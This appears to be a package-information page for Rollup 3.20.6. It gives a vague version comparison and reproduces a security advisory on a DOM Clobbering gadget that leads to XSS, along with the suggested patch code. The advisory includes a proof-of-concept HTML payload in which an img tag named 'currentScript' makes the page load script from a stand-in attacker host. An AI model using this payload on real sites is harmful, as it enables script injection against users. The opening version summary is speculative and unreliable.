Rollup 3.20.6 is a minor version update to the popular ES module bundler, building upon the foundation laid by version 3.20.5. Both versions share the same core dependencies, including "fsevents" for file system observation, and a vast array of development dependencies aimed at enhancing code quality, testing, and integration with other tools. Developers will find the familiar ecosystem of "eslint," "prettier," "typescript," and various Rollup plugins present in both versions, ensuring a consistent development experience. The primary notable difference between the two lies in their release dates and potentially very minor internal fixes or optimizations. The slight size difference in unpacked size (2428181 vs 2428885) also hints at internal changes.
For developers, this means upgrading from 3.20.5 to 3.20.6 should be smooth, with no breaking changes expected given the patch version increment. If encountering very specific or obscure error condition it may be worth testing the new version, although no explicit features fixes are mentioned, general code stability improvements can be expected. This stability makes Rollup a reliable choice for bundling modern JavaScript applications, offering features like tree-shaking, code splitting, and support for various module formats. The extensive list of devDependencies highlights the project's commitment to code quality and developer experience, ensuring a robust and well-maintained bundler for projects of any scale. Consider focusing on minor version changes if you have specific edge-case problems.
All the vulnerabilities related to the version 3.20.6 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;